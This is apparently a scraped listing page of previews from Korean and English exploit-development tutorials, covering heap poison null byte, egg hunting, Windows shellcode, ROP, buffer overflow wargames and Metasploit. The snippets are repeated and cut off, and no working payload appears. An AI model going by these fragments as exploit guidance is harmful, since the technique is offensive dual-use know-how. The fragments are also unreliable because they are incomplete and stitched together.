Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugger

Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugger 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg 1.x, Immunity

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo 본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasploit Framework(MSF) 이란? bluearth in N@R 2003년오픈소스로발표된취약점발견및공격을위한

More information

Microsoft PowerPoint - hy2-12.pptx

Microsoft PowerPoint - hy2-12.pptx 2.4 명령어세트 (instruction set) 명령어세트 CPU 가지원하는기계어명령어들의집합 명령어연산의종류 데이터전송 : 레지스터 / 메모리간에데이터이동 산술연산 : 덧셈, 뺄셈, 곱셈및나눗셈 논리연산 : 비트들간의 AND, OR, NOT 및 XOR 연산 입출력 (I/O) : CPU( 레지스터 ) 와외부장치들간의데이터이동 프로그램제어 : 분기, 서브루틴호출

More information

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관렦된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관렦된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에 문서번호 13-VN-10 공격코드작성따라하기 ( 원문 : 공격코드 Writing Tutorial 10) 2013.3 작성자 : ( 주 ) 한국정보보호교육센터서준석주임엯구원 오류싞고및관렦문의 : nababora@naver.com 문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 2013.03.14 본문서는원문작성자 (Peter Van Eeckhoutte)

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

CKKeyPro 적용가이드

CKKeyPro 적용가이드 3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.

More information

how_2_write_Exploit_4_the_MSF_v3.x.hwp

how_2_write_Exploit_4_the_MSF_v3.x.hwp Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

Cogame 취약점 보고

Cogame 취약점 보고 Frist Version: 2006. 01. 07 Last Version: 2006. 01. 19 anesra@{null2root.org, gmail.com Table of Contents 1. 기본개념과도구...3 1.1 윈도우쉘코드... 3 1.2 윈도우메모리 LAYOUT... 4 1.3 레지스터... 4 1.4 기본어셈블리어명령어... 4 2. 쉘코드만들기...6

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

Microsoft Word - Part10.docx

Microsoft Word - Part10.docx ROP를 이용한 DEP 우회, 그리고 ASLR By Kancho(kancholove@gmail.com) 이 문서는 Peter Van Eeckhoutte의 Exploit writing tutorial part 10 문서를 기반으로 편역한 것이다. 좀 더 필요한 부분은 추가했으며 불필요하거나 애매한 내용은 생략하였으므로 원문을 보고 싶은 분은 다음 사이트를 참고하기

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Exploit writing tutorials

Exploit writing tutorials EXPLOIT WRITING TUTORIALS C1 STACK BASED BUFFER OVERFLOW KIM DONG HYUN WHATTEAM & LET S CQ & KOREA IT TECHNICAL SCHOOL rlaehdgus213@naver.com 페이지 0 / 24 Exploit writing tutorials C1 Stack Based Buffer

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] RedAlert Team 봉용균

취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] RedAlert Team 봉용균 취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] 2012-08-02 RedAlert Team 봉용균 목 차 1. 개요... 1 1.1. 배경... 1 1.2. 요약... 1 1.3. 정보... 1 1.4. 대상시스템... 1 2. 공격... 2 2.1. 시나리오... 2 2.2. 대상프로그램... 2 2.3.

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

/* */

/* */ /*---------------------------------------------------------------------------------*/ 번역 : innovation@wowhacker.org /*---------------------------------------------------------------------------------*/

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

Chapter 4. LISTS

Chapter 4. LISTS C 언어에서리스트구현 리스트의생성 struct node { int data; struct node *link; ; struct node *ptr = NULL; ptr = (struct node *) malloc(sizeof(struct node)); Self-referential structure NULL: defined in stdio.h(k&r C) or

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

목차 개요... 3 CVE /CVE 요약... 3 CVE /CVE 분석 취약점발생원인 CVE 와 CVE 의연관성및차이점... 7 C

목차 개요... 3 CVE /CVE 요약... 3 CVE /CVE 분석 취약점발생원인 CVE 와 CVE 의연관성및차이점... 7 C 2018. 05. 04 MS Office 수식편집기취약점분석 CVE-2017-11882 / CVE-2018-0802 안랩시큐리티대응센터 (ASEC) 분석연구팀 경기도성남시분당구판교역로 220 ( 우 ) 13493 대표전화 : 031-722-8000 팩스 : 031-722-8901 www.ahnlab.com AhnLab, Inc. All rights reserved.

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

Evernote Export

Evernote Export Exploit writing tutorial part 1 : Stack Based Overflows ** 번역목적 - 이 Article 은 corelan.be 에있는버퍼오버플로우에관한문서이다. 총 11 개의 Article 로구성되어있으며, 과연언제까지번역작업을할지모르겠다. -_-; 오역은원문을보시면서알아서해석하시기바란다. 영어공부및 BOF 개념이해목적으로번역

More information

Microsoft Word - Exploit writing tutorial part 1.doc

Microsoft Word - Exploit writing tutorial part 1.doc Exploit writing tutorial part 1: Stack Based Overflows 1 By Peter Van Eeckhoutte 편역 : vangelis(vangelis@s0f.org) 2009년 7월 17일, Crazy_Hacker 라는닉을가진사람이패킷스톰을통해 Easy RM to MP3 Converte에존재하는취약점 (http://packetstormsecurity.org/0907-exploits/)

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에 문서번호 13-VN-06 공격코드작성따라하기 ( 원문 : 공격코드 Writing Tutorial 4) 2013.1 작성자 : ( 주 ) 한국정보보호교육센터서준석주임연구원 오류신고및관련문의 : nababora@naver.com 문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 2013.01.31 본문서는원문작성자 (Peter Van Eeckhoutte)

More information

Heap Overflow By WraithOfGhost

Heap Overflow By WraithOfGhost Heap Overflow - 101 By WraithOfGhost 이전스택오버플로우문서에서예외처리핸들러 (Exception Handler) 를호출하거나직접적인방법을 EIP 레지스터를제어하는방법을보여주었다. 본문서는 EIP / SEH를직접이용하지않고프로그램의실행흐름을제어하는일련의방법들에대하여다룰예정이다. 공격자가정한값을원하는메모리주소에덮어씀으로써임의의 DWORD

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환 취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer

More information

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조 - Part2- 제 2 장다차원배열이란무엇인가 학습목차 2.1 다차원배열이란 2. 2 2 차원배열의주소와값의참조 2.1 다차원배열이란 2.1 다차원배열이란 (1/14) 다차원배열 : 2 차원이상의배열을의미 1 차원배열과다차원배열의비교 1 차원배열 int array [12] 행 2 차원배열 int array [4][3] 행 열 3 차원배열 int array [2][2][3]

More information

ActFax 4.31 Local Privilege Escalation Exploit

ActFax 4.31 Local Privilege Escalation Exploit NSHC 2013. 01. 14. 취약점분석보고서 Information Service about a new vulnerability Version 1.0 [ ] 2012 Red Alert. All Rights Reserved. 목차 1. 개요... 3 2. 공격... 4 3. 분석... 8 4. 결론... 12 5. 대응방안... 12 6. 참고자료... 13

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

simple ROP Exploit

simple ROP Exploit SIMPLE ROP EXPLOIT 문제로풀어보는 ROP TigerTeam elttzero@tigerteam.kr 목차 1. 개요... 2 2. Buffer OverFlow... 2 3. BOF 방어기법... 3 3.1. DEP(Data Execution Prevention)... 3 3.2. ASLR(Address Space Layout Randomization)...

More information

Visual Basic 반복문

Visual Basic 반복문 학습목표 반복문 For Next문, For Each Next문 Do Loop문, While End While문 구구단작성기로익히는반복문 2 5.1 반복문 5.2 구구단작성기로익히는반복문 3 반복문 주어진조건이만족하는동안또는주어진조건이만족할때까지일정구간의실행문을반복하기위해사용 For Next For Each Next Do Loop While Wend 4 For

More information

<4D F736F F D20B9D9C0CCB7B5B9D9C0CCB7AFBDBA5FBCF6C1A42E646F63>

<4D F736F F D20B9D9C0CCB7B5B9D9C0CCB7AFBDBA5FBCF6C1A42E646F63> Virut 바이러스공격 ASEC 분석 1 팀고흥환선임연구원 해마다접수되는악성코드의통계를보면대부분이인터넷웜또는트로이목마가대부분을차지하며, 파일에기생하는바이러스는그수가적어지는것이추세이다. 그도그럴것이최근의악성코드특징은개인의능력과시가아닌돈과연관되는악성코드작성이대부분이기때문이다. 그렇다면 Virut 바이러스가인터넷웜과트로이목마를제치고국내뿐만아니라해외에서도큰피해를입히고있는이유가무엇인지,

More information

Frama-C/JESSIS 사용법 소개

Frama-C/JESSIS 사용법 소개 Frama-C 프로그램검증시스템소개 박종현 @ POSTECH PL Frama-C? C 프로그램대상정적분석도구 플러그인구조 JESSIE Wp Aorai Frama-C 커널 2 ROSAEC 2011 동계워크샵 @ 통영 JESSIE? Frama-C 연역검증플러그인 프로그램분석 검증조건추출 증명 Hoare 논리에기초한프로그램검증도구 사용법 $ frama-c jessie

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우 취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] 2012-07-19 RedAlert Team_ 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. Power2Go name Stack Buffer Overflow 취약점요약... 1 2.

More information

JVM 메모리구조

JVM 메모리구조 조명이정도면괜찮조! 주제 JVM 메모리구조 설미라자료조사, 자료작성, PPT 작성, 보고서작성. 발표. 조장. 최지성자료조사, 자료작성, PPT 작성, 보고서작성. 발표. 조원 이용열자료조사, 자료작성, PPT 작성, 보고서작성. 이윤경 자료조사, 자료작성, PPT작성, 보고서작성. 이수은 자료조사, 자료작성, PPT작성, 보고서작성. 발표일 2013. 05.

More information

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환 취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit 2012-07-19 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Simple Web Server 취약점... 2 2.1. Simple Web Server 취약점개요... 2 2.2. Simple

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - FreeBSD Shellcode 만들기.docx FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

BY-FDP-4-70.hwp

BY-FDP-4-70.hwp RS-232, RS485 FND Display Module BY-FDP-4-70-XX (Rev 1.0) - 1 - 1. 개요. 본 Display Module은 RS-232, RS-485 겸용입니다. Power : DC24V, DC12V( 주문사양). Max Current : 0.6A 숫자크기 : 58mm(FND Size : 70x47mm 4 개) RS-232,

More information

슬라이드 1

슬라이드 1 Pairwise Tool & Pairwise Test NuSRS 200511305 김성규 200511306 김성훈 200614164 김효석 200611124 유성배 200518036 곡진화 2 PICT Pairwise Tool - PICT Microsoft 의 Command-line 기반의 Free Software www.pairwise.org 에서다운로드후설치

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

